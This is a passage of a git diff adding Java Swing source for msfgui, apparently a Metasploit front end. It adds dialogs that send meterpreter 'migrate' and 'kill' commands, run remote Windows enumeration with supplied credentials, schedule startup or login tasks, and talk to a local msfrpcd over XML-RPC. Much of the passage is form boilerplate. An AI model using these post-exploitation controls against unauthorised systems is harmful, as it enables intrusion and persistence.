readTimer.stop(); + JOptionPane.showMessageDialog(null, ex.getMessage()); + } + } + }); + readTimer.start(); + } + + /** This method is called from within the constructor to + * initialize the form. + * WARNING: Do NOT modify this code. The content of this method is + * always regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + migrateButton = new javax.swing.JButton(); + killButton = new javax.swing.JButton(); + jScrollPane1 = new javax.swing.JScrollPane(); + processTable = new javax.swing.JTable(); + refreshButton = new javax.swing.JButton(); + + setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE); + addWindowListener(new java.awt.event.WindowAdapter() { + public void windowClosing(java.awt.event.WindowEvent evt) { + formWindowClosing(evt); + } + public void windowOpened(java.awt.event.WindowEvent evt) { + formWindowOpened(evt); + } + }); + + org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(msfgui.MsfguiApp.class).getContext().getResourceMap(ProcessList.class); + migrateButton.setText(resourceMap.getString("migrateButton.text")); // NOI18N + migrateButton.setName("migrateButton"); // NOI18N + migrateButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + migrateButtonActionPerformed(evt); + } + }); + + killButton.setText(resourceMap.getString("killButton.text")); // NOI18N + killButton.setName("killButton"); // NOI18N + killButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + killButtonActionPerformed(evt); + } + }); + + jScrollPane1.setName("jScrollPane1"); // NOI18N + + processTable.setModel(new javax.swing.table.DefaultTableModel( + new Object [][] { + + }, + new String [] { + "Name", "PID", "User", "Session", "Path" + } + ) { + Class[] types = new Class [] { + java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class, java.lang.String.class + }; + + public Class getColumnClass(int columnIndex) { + return types [columnIndex]; + } + }); + processTable.setName("processTable"); // NOI18N + jScrollPane1.setViewportView(processTable); + + refreshButton.setText(resourceMap.getString("refreshButton.text")); // NOI18N + refreshButton.setName("refreshButton"); // NOI18N + refreshButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + refreshButtonActionPerformed(evt); + } + }); + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); + getContentPane().setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 807, Short.MAX_VALUE) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() + .addComponent(refreshButton) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 588, Short.MAX_VALUE) + .addComponent(killButton) + .addGap(18, 18, 18) + .addComponent(migrateButton))) + .addContainerGap()) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() + .addContainerGap() + .addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 602, Short.MAX_VALUE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(migrateButton) + .addComponent(killButton) + .addComponent(refreshButton)) + .addContainerGap()) + ); + + pack(); + }// //GEN-END:initComponents + + private void formWindowClosing(java.awt.event.WindowEvent evt) {//GEN-FIRST:event_formWindowClosing + lock.unlock(); + }//GEN-LAST:event_formWindowClosing + + private void formWindowOpened(java.awt.event.WindowEvent evt) {//GEN-FIRST:event_formWindowOpened + lock.lock(); + listProcs(); + }//GEN-LAST:event_formWindowOpened + + private void migrateButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_migrateButtonActionPerformed + try { + rpcConn.execute("session.meterpreter_write", new Object[]{session.get("id"), + Base64.encode(("migrate "+processTable.getModel().getValueAt(processTable.getSelectedRow(),0) + "\n").getBytes())}); + } catch (Exception ex) { + JOptionPane.showMessageDialog(null, ex); + } + listProcs(); + }//GEN-LAST:event_migrateButtonActionPerformed + + private void killButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_killButtonActionPerformed + try { + rpcConn.execute("session.meterpreter_write", new Object[]{session.get("id"), + Base64.encode(("kill "+processTable.getModel().getValueAt(processTable.getSelectedRow(),0) + "\n").getBytes())}); + } catch (Exception ex) { + JOptionPane.showMessageDialog(null, ex); + } + listProcs(); + }//GEN-LAST:event_killButtonActionPerformed + + private void refreshButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_refreshButtonActionPerformed + listProcs(); + }//GEN-LAST:event_refreshButtonActionPerformed + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JScrollPane jScrollPane1; + private javax.swing.JButton killButton; + private javax.swing.JButton migrateButton; + private javax.swing.JTable processTable; + private javax.swing.JButton refreshButton; + // End of variables declaration//GEN-END:variables +} diff --git a/external/source/gui/msfguijava/src/msfgui/ProcessWindow.form b/external/source/gui/msfguijava/src/msfgui/ProcessWindow.form new file mode 100644 index 0000000000..f7720d12a4 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/ProcessWindow.form @@ -0,0 +1,69 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
diff --git a/external/source/gui/msfguijava/src/msfgui/ProcessWindow.java b/external/source/gui/msfguijava/src/msfgui/ProcessWindow.java new file mode 100644 index 0000000000..dc26794819 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/ProcessWindow.java @@ -0,0 +1,91 @@ + +package msfgui; + +import java.io.IOException; +import java.io.InputStreamReader; + +/** + * + * @author scriptjunkie + */ +public class ProcessWindow extends MsfFrame { + private final InputStreamReader[] streams; + + /** Creates new form ProcessWindow */ + public ProcessWindow(Process proc) { + initComponents(); + streams = new InputStreamReader[2]; + streams[0] = new InputStreamReader(proc.getInputStream()); + streams[1] = new InputStreamReader(proc.getErrorStream()); + for(int i = 0; i < 2; i++){ + final InputStreamReader stream = streams[i]; + new Thread(){ + public void run(){ + try{ + char[] cbuf = new char[1000]; + int read; + while ((read = stream.read(cbuf)) != -1) + outputPane.append(new String(cbuf,0,read)); + if(read == -1) + outputField.setText("Completed"); + }catch(IOException iox){ + outputField.setText("Done"); + } + } + }.start(); + } + } + + /** This method is called from within the constructor to + * initialize the form. + * WARNING: Do NOT modify this code. The content of this method is + * always regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + outputField = new javax.swing.JLabel(); + jScrollPane1 = new javax.swing.JScrollPane(); + outputPane = new javax.swing.JTextArea(); + + setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE); + + org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(msfgui.MsfguiApp.class).getContext().getResourceMap(ProcessWindow.class); + outputField.setText(resourceMap.getString("outputField.text")); // NOI18N + outputField.setName("outputField"); // NOI18N + + outputPane.setEditable(false); + jScrollPane1.setViewportView(outputPane); + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); + getContentPane().setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 538, Short.MAX_VALUE) + .addComponent(outputField)) + .addContainerGap()) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addComponent(outputField) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 308, Short.MAX_VALUE) + .addContainerGap()) + ); + + pack(); + }// //GEN-END:initComponents + + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JScrollPane jScrollPane1; + private javax.swing.JLabel outputField; + private javax.swing.JTextArea outputPane; + // End of variables declaration//GEN-END:variables +} diff --git a/external/source/gui/msfguijava/src/msfgui/RemoteWinenumOptionsDialog.form b/external/source/gui/msfguijava/src/msfgui/RemoteWinenumOptionsDialog.form new file mode 100644 index 0000000000..32177e8ec0 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/RemoteWinenumOptionsDialog.form @@ -0,0 +1,132 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
diff --git a/external/source/gui/msfguijava/src/msfgui/RemoteWinenumOptionsDialog.java b/external/source/gui/msfguijava/src/msfgui/RemoteWinenumOptionsDialog.java new file mode 100644 index 0000000000..fb09300ffb --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/RemoteWinenumOptionsDialog.java @@ -0,0 +1,137 @@ +package msfgui; + +/** + * + * @author scriptjunkie + */ +public class RemoteWinenumOptionsDialog extends OptionsDialog { + + /** Creates new form NetenumOptionsDialog */ + public RemoteWinenumOptionsDialog(java.awt.Frame parent) { + super(parent, "Remote winenum options", true); + initComponents(); + } + /** This method is called from within the constructor to + * initialize the form. + * WARNING: Do NOT modify this code. The content of this method is + * always regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + okButton = new javax.swing.JButton(); + jLabel1 = new javax.swing.JLabel(); + addressField = new javax.swing.JTextField(); + jLabel2 = new javax.swing.JLabel(); + userField = new javax.swing.JTextField(); + passField = new javax.swing.JTextField(); + jLabel3 = new javax.swing.JLabel(); + jLabel4 = new javax.swing.JLabel(); + + setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE); + + org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(msfgui.MsfguiApp.class).getContext().getResourceMap(RemoteWinenumOptionsDialog.class); + okButton.setText(resourceMap.getString("okButton.text")); // NOI18N + okButton.setName("okButton"); // NOI18N + okButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + okButtonActionPerformed(evt); + } + }); + + jLabel1.setText(resourceMap.getString("jLabel1.text")); // NOI18N + jLabel1.setName("jLabel1"); // NOI18N + + addressField.setText(resourceMap.getString("addressField.text")); // NOI18N + addressField.setName("addressField"); // NOI18N + + jLabel2.setText(resourceMap.getString("jLabel2.text")); // NOI18N + jLabel2.setName("jLabel2"); // NOI18N + + userField.setText(resourceMap.getString("userField.text")); // NOI18N + userField.setName("userField"); // NOI18N + + passField.setText(resourceMap.getString("passField.text")); // NOI18N + passField.setName("passField"); // NOI18N + + jLabel3.setText(resourceMap.getString("jLabel3.text")); // NOI18N + jLabel3.setName("jLabel3"); // NOI18N + + jLabel4.setHorizontalAlignment(javax.swing.SwingConstants.TRAILING); + jLabel4.setText(resourceMap.getString("jLabel4.text")); // NOI18N + jLabel4.setName("jLabel4"); // NOI18N + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); + getContentPane().setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() + .addComponent(jLabel1) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(addressField, javax.swing.GroupLayout.DEFAULT_SIZE, 340, Short.MAX_VALUE)) + .addGroup(layout.createSequentialGroup() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) + .addComponent(jLabel4, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(jLabel2, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + .addGap(13, 13, 13) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(passField, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, 361, Short.MAX_VALUE) + .addComponent(userField, javax.swing.GroupLayout.DEFAULT_SIZE, 361, Short.MAX_VALUE))) + .addComponent(okButton, javax.swing.GroupLayout.Alignment.TRAILING) + .addComponent(jLabel3)) + .addContainerGap()) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(jLabel1) + .addComponent(addressField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(18, 18, 18) + .addComponent(jLabel3) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(userField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel2)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(passField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel4)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(okButton) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + + pack(); + }// //GEN-END:initComponents + + private void okButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_okButtonActionPerformed + StringBuilder cmd = new StringBuilder("remotewinenum "); + if(addressField.getText().length() > 0) + cmd.append(" -t "+addressField.getText()); + if(userField.getText().length() > 0) + cmd.append(" -u \""+userField.getText()+"\""); + if(passField.getText().length() > 0) + cmd.append(" -p \""+passField.getText()+"\""); + command = cmd.toString(); + setVisible(false); + dispose(); + }//GEN-LAST:event_okButtonActionPerformed + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JTextField addressField; + private javax.swing.JLabel jLabel1; + private javax.swing.JLabel jLabel2; + private javax.swing.JLabel jLabel3; + private javax.swing.JLabel jLabel4; + private javax.swing.JButton okButton; + private javax.swing.JTextField passField; + private javax.swing.JTextField userField; + // End of variables declaration//GEN-END:variables + +} diff --git a/external/source/gui/msfguijava/src/msfgui/RpcAction.java b/external/source/gui/msfguijava/src/msfgui/RpcAction.java new file mode 100644 index 0000000000..1c3b4ac9a6 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/RpcAction.java @@ -0,0 +1,39 @@ +package msfgui; + +import java.awt.event.ActionEvent; +import java.awt.event.ActionListener; +import javax.swing.JOptionPane; + +/** + * + * @author scriptjunkie + */ +public class RpcAction implements ActionListener { + protected Object arg = null; + protected MainFrame parent = null; + public String getCmd(){ + return arg.toString(); + } + public RpcAction(){ + } + public RpcAction(Object arg, MainFrame parent){ + this.arg = arg; + this.parent = parent; + } + public void actionPerformed(ActionEvent e){ + try{ + action(); + }catch(Exception ex){ + if(!ex.getMessage().equals("cancelled")) + JOptionPane.showMessageDialog(null, "Error in RPC call: "+ex); + } + } + /* Default action executes session.meterpreter_script and shows console window. */ + public void action() throws Exception{ + if(arg != null) + parent.rpcConn.execute("session.meterpreter_script", new Object[]{parent.session.get("id"), getCmd()}); + else if (parent == null) + throw new MsfException("Error: no parent. If using default constructor, must override action()."); + parent.showInteractWindow(); + } +} diff --git a/external/source/gui/msfguijava/src/msfgui/RpcConnection.java b/external/source/gui/msfguijava/src/msfgui/RpcConnection.java new file mode 100644 index 0000000000..014afa1e2f --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/RpcConnection.java @@ -0,0 +1,300 @@ +package msfgui; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.net.Socket; +import java.security.SecureRandom; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.Map; +import java.util.Random; +import javax.xml.parsers.DocumentBuilderFactory; +import javax.xml.transform.TransformerFactory; +import javax.xml.transform.dom.DOMSource; +import javax.xml.transform.stream.StreamResult; +import org.jdesktop.application.Task; +import org.w3c.dom.Document; +import org.w3c.dom.Element; +import org.w3c.dom.Node; + +/** + * RpcConnection handles connection details to a msfrpcd and automatically sends + * activity to be logged. It also caches some method calls to more quickly + * retrieve results later. + * + * Implements a minimal XMLRPC client for our purposes. Reinventing the wheel is + * usually a bad idea, but CVE/description searching takes a long time and this + * implementation runs a CVE search twice as fast as the apache libs. It also + * results in a more responsive console. + * + * @author scriptjunkie + */ +public class RpcConnection { + private String rpcToken; + private Map callCache = new HashMap(); + public static String defaultUser = "msf",defaultPass = null; + public static int defaultPort = 55553; + private Socket connection; + private OutputStream sout; //socket output/input + private InputStream sin; + private final Object lockObject = new Object();//to synchronize one request at a time + + /** Constructor sets up a connection and authenticates. */ + RpcConnection(String username, char[] password, String host, int port) throws MsfException { + boolean haveRpcd=false; + String message = ""; + try { + connection = new Socket(host, port); + sout = connection.getOutputStream(); + sin = connection.getInputStream(); + Object[] params = new Object[]{username, new String(password)}; + Map results = exec("auth.login",params); + rpcToken=results.get("token").toString(); + haveRpcd=results.get("result").equals("success"); + } catch (MsfException xre) { + message = xre.getLocalizedMessage(); + } catch (IOException io){ + message = io.getLocalizedMessage(); + } catch (NullPointerException nex){ + } + if(!haveRpcd) + throw new MsfException("Error connecting. "+message); + } + /** Destructor cleans up. */ + protected void finalize() throws Throwable{ + connection.close(); + } + + /** Method that sends a call to the server and received a response; only allows one at a time */ + protected Map exec (String methname, Object[] params) throws MsfException{ + try{ + synchronized(lockObject){ //Only one method call at a time! + writeCall(methname, params); + return (Map)readResp(); + } + }catch(Exception ex){ //any weirdness gets wrapped in a MsfException + if(! (ex instanceof MsfException)) + throw new MsfException("Error in call: "+ex.getLocalizedMessage(), ex); + throw (MsfException)ex; + } + } + /** Creates an XMLRPC call from the given method name and parameters and sends it */ + protected void writeCall(String methname, Object[] params) throws Exception{ + Document doc = DocumentBuilderFactory.newInstance().newDocumentBuilder().newDocument(); + Element methodCall = doc.createElement("methodCall"); + doc.appendChild(methodCall); + Element methodName = doc.createElement("methodName"); + methodName.appendChild(doc.createTextNode(methname)); + methodCall.appendChild(methodName); + Element paramsEl = doc.createElement("params"); + methodCall.appendChild(paramsEl); + //Add each parameter by type. Usually just the maps are difficult + for(Object param : params){ + Element paramEl = doc.createElement("param"); + Node valEl = doc.createElement("value"); + if(param instanceof Map){ //Reverse of the parseVal() struct-to-HashMap code + Element structEl = doc.createElement("struct"); + for(Object entryObj : ((Map)param).entrySet()){ + Map.Entry ent = (Map.Entry)entryObj; + Element membEl = doc.createElement("member"); + Element nameEl = doc.createElement("name"); + nameEl.appendChild(doc.createTextNode(ent.getKey().toString())); + membEl.appendChild(nameEl); + Element subvalEl = doc.createElement("value"); + subvalEl.appendChild(doc.createTextNode(ent.getValue().toString())); + membEl.appendChild(subvalEl); + structEl.appendChild(membEl); + } + valEl.appendChild(structEl); + }else if(param instanceof Integer){ //not sure I even need this + Element i4El = doc.createElement("i4"); + i4El.appendChild(doc.createTextNode(param.toString())); + valEl.appendChild(i4El); + }else{ + valEl.appendChild(doc.createTextNode(param.toString())); + } + paramEl.appendChild(valEl); + paramsEl.appendChild(paramEl); + } + ByteArrayOutputStream bout = new ByteArrayOutputStream(); + TransformerFactory.newInstance().newTransformer().transform(new DOMSource(doc), new StreamResult(bout)); + sout.write(bout.toByteArray()); + sout.write(0); + } + /** Receives an XMLRPC response and converts to an object */ + protected Object readResp() throws Exception{ + //read bytes + ByteArrayOutputStream cache = new ByteArrayOutputStream(); + int val; + try{ + while((val = sin.read()) != 0) + cache.write(val); + } catch (IOException ex) { + throw new MsfException("Error reading response."); + } + //parse the response: ... + Document root = DocumentBuilderFactory.newInstance().newDocumentBuilder() + .parse(new ByteArrayInputStream(cache.toByteArray())); + if(!root.getFirstChild().getNodeName().equals("methodResponse")) + throw new MsfException("Error reading response: not a response."); + Node methResp = root.getFirstChild(); + if(methResp.getFirstChild().getNodeName().equals("fault")){ + throw new MsfException(methResp.getFirstChild()//fault + .getFirstChild() // value + .getFirstChild() // struct + .getLastChild() // member + .getLastChild() // value + .getTextContent()); + } + Node params = methResp.getFirstChild(); + if(!params.getNodeName().equals("params")) + throw new MsfException("Error reading response: no params."); + Node param = params.getFirstChild(); + if(!param.getNodeName().equals("param")) + throw new MsfException("Error reading response: no param."); + Node value = param.getFirstChild(); + if(!value.getNodeName().equals("value")) + throw new MsfException("Error reading response: no value."); + return parseVal(value); + } + /** Takes an XMLRPC DOM value node and creates a java object out of it recursively */ + private Object parseVal(Node submemb) throws MsfException { + Node type = submemb.getFirstChild(); + String typeName = type.getNodeName(); + if(typeName.equals("string")){//jobs + return type.getTextContent(); //String returns java string + }else if (typeName.equals("array")){ //Array returns Object[] + ArrayList arrgh = new ArrayList(); + Node data = type.getFirstChild(); + if(!data.getNodeName().equals("data")) + throw new MsfException("Error reading array: no data."); + for(Node val = data.getFirstChild(); val != null; val = val.getNextSibling()) + arrgh.add(parseVal(val)); + return arrgh.toArray(); + }else if (typeName.equals("struct")){ //Struct returns a HashMap of name->value member pairs + HashMap structmembs = new HashMap(); + for(Node member = type.getFirstChild(); member != null; member = member.getNextSibling()){ + if(!member.getNodeName().equals("member")) + throw new MsfException("Error reading response: non struct member."); + Object name = null, membValue = null; + //get each member and put into output map + for(Node submember = member.getFirstChild(); submember != null; submember = submember.getNextSibling()){ + if(submember.getNodeName().equals("name")) + name = submember.getTextContent(); + else if (submember.getNodeName().equals("value")) + membValue = parseVal(submember); //Value can be arbitrarily complex + } + structmembs.put(name, membValue); + } + return structmembs; + }else if (typeName.equals("i4")){ + return new Integer(type.getTextContent()); + }else if (typeName.equals("boolean")){ + return new Boolean(type.getTextContent().equals("1")); + }else{ + throw new MsfException("Error reading val: unknown type " + typeName); + } + } + + /** Runs command with no args */ + public Object execute(String methodName) throws MsfException{ + return execute(methodName, new Object[]{}); + } + /** Adds token, runs command, and notifies logger on call and return */ + public Object execute(String methodName, Object[] params) throws MsfException{ + MsfguiLog.defaultLog.logMethodCall(methodName, params); + Object[] paramsNew = new Object[params.length+1]; + paramsNew[0] = rpcToken; + System.arraycopy(params, 0, paramsNew, 1, params.length); + Object result = cacheExecute(methodName, paramsNew); + MsfguiLog.defaultLog.logMethodReturn(methodName, params, result); + return result; + } + /** Caches certain calls and checks cache for re-executing them. + * If not cached or not cacheable, calls exec. */ + private Object cacheExecute(String methodName, Object[] params) throws MsfException{ + if(methodName.equals("module.info") || methodName.equals("module.options") + || methodName.equals("module.compatible_payloads")){ + StringBuilder keysb = new StringBuilder(methodName); + for(int i = 1; i < params.length; i++) + keysb.append(params[i].toString()); + String key = keysb.toString(); + Object result = callCache.get(key); + if(result != null) + return result; + result = exec(methodName, params); + callCache.put(key, result); + return result; + } + return exec(methodName, params); + } + + /** Attempts to start msfrpcd and connect to it.*/ + public static Task startRpcConn(final MainFrame mainFrame){ + return new Task(mainFrame.getApplication()){ + private RpcConnection myRpcConn; + @Override + protected RpcConnection doInBackground() throws Exception { + setTitle("Starting new msfrpcd"); + setMessage("Setting up and saving parameters."); + setProgress(0.0f); + if(defaultPass == null){ + StringBuilder password = new StringBuilder(); + Random secrand = new SecureRandom(); + for (int i = 0; i < 10; i++) + password.append((char) ('a'+secrand.nextInt(26))); + defaultPass = password.toString(); + } + Element root = MsfguiApp.getPropertiesNode(); + root.setAttribute("username", defaultUser); + root.setAttribute("password", defaultPass); + root.setAttribute("host", "127.0.0.1"); + root.setAttribute("port", Integer.toString(defaultPort)); + + setMessage("Starting msfrpcd. \"msfrpcd -P " + defaultPass + " -S -U metasploit -a 127.0.0.1\""); + setProgress(0.2f); + Process proc = null; + try { + proc = MsfguiApp.startMsfProc(new String[]{ + "msfrpcd","-P",defaultPass,"-S","-U",defaultUser,"-a","127.0.0.1"}); + } catch (MsfException ex) { + setMessage("msfrpcd not found."); + setProgress(1f); + throw new MsfException("Could not find or start msfrpcd"); //darn + } + + setMessage("Started msfrpcd. Waiting for initialization to finish."); + proc.waitFor(); + //Connect to started daemon + setMessage("Connecting to new msfrpcd..."); + setProgress(0.7f); + boolean connected = false; + for (int tries = 0; tries < 10; tries++) { //it usually takes a second to get started + try { + myRpcConn = new RpcConnection(defaultUser, defaultPass.toCharArray(), "127.0.0.1", defaultPort); + connected = true; + break; + } catch (MsfException mex) { + } + try { + Thread.sleep(200); //Wait for msfrpcd to be ready + } catch (InterruptedException iex) { + } + }//end try to connect loop + if(!connected){ + setMessage("Cannot connect to started msfrpcd."); + throw new MsfException("Cannot connect to started msfrpcd."); + } + return myRpcConn; + } + @Override + protected void succeeded(RpcConnection myRpcConn) { + mainFrame.rpcConn = myRpcConn; + mainFrame.getModules(); + } + }; + } +} diff --git a/external/source/gui/msfguijava/src/msfgui/RunMenuFactory.java b/external/source/gui/msfguijava/src/msfgui/RunMenuFactory.java new file mode 100644 index 0000000000..1f51b30ba3 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/RunMenuFactory.java @@ -0,0 +1,12 @@ +package msfgui; + +import java.awt.event.ActionListener; + +/** + * + * @author scriptjunkie + */ +public interface RunMenuFactory { + + public ActionListener getActor(String modName, String type, RpcConnection rpcConn); +} diff --git a/external/source/gui/msfguijava/src/msfgui/ScheduleTaskOptionsDialog.form b/external/source/gui/msfguijava/src/msfgui/ScheduleTaskOptionsDialog.form new file mode 100644 index 0000000000..2021929f8d --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/ScheduleTaskOptionsDialog.form @@ -0,0 +1,319 @@ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
diff --git a/external/source/gui/msfguijava/src/msfgui/ScheduleTaskOptionsDialog.java b/external/source/gui/msfguijava/src/msfgui/ScheduleTaskOptionsDialog.java new file mode 100644 index 0000000000..6fff056d3b --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/ScheduleTaskOptionsDialog.java @@ -0,0 +1,308 @@ +package msfgui; + +import javax.swing.JFileChooser; +import javax.swing.JFrame; + +/** + * + * @author scriptjunkie + */ +public class ScheduleTaskOptionsDialog extends OptionsDialog { + + /** Creates new form ScheduleTaskOptionsDialog */ + public ScheduleTaskOptionsDialog(JFrame owner) { + super(owner,"Schedule Task Options",true); + initComponents(); + } + + /** This method is called from within the constructor to + * initialize the form. + * WARNING: Do NOT modify this code. The content of this method is + * always regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + whenGroup = new javax.swing.ButtonGroup(); + jLabel1 = new javax.swing.JLabel(); + startupButton = new javax.swing.JRadioButton(); + loginButton = new javax.swing.JRadioButton(); + dailyButton = new javax.swing.JRadioButton(); + hourlyButton = new javax.swing.JRadioButton(); + minuteButton = new javax.swing.JRadioButton(); + immediateButton = new javax.swing.JRadioButton(); + uploadField = new javax.swing.JTextField(); + uploadButton = new javax.swing.JButton(); + goButton = new javax.swing.JButton(); + jLabel2 = new javax.swing.JLabel(); + commandField = new javax.swing.JTextField(); + jLabel3 = new javax.swing.JLabel(); + uploadedArgs = new javax.swing.JTextField(); + remoteScheduleBox = new javax.swing.JCheckBox(); + remoteSystemField = new javax.swing.JTextField(); + jLabel4 = new javax.swing.JLabel(); + howManyField = new javax.swing.JTextField(); + jLabel5 = new javax.swing.JLabel(); + passwordField = new javax.swing.JTextField(); + jLabel6 = new javax.swing.JLabel(); + usernameField = new javax.swing.JTextField(); + jLabel7 = new javax.swing.JLabel(); + jLabel8 = new javax.swing.JLabel(); + + setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE); + + org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(msfgui.MsfguiApp.class).getContext().getResourceMap(ScheduleTaskOptionsDialog.class); + jLabel1.setText(resourceMap.getString("jLabel1.text")); // NOI18N + jLabel1.setName("jLabel1"); // NOI18N + + whenGroup.add(startupButton); + startupButton.setSelected(true); + startupButton.setText(resourceMap.getString("startupButton.text")); // 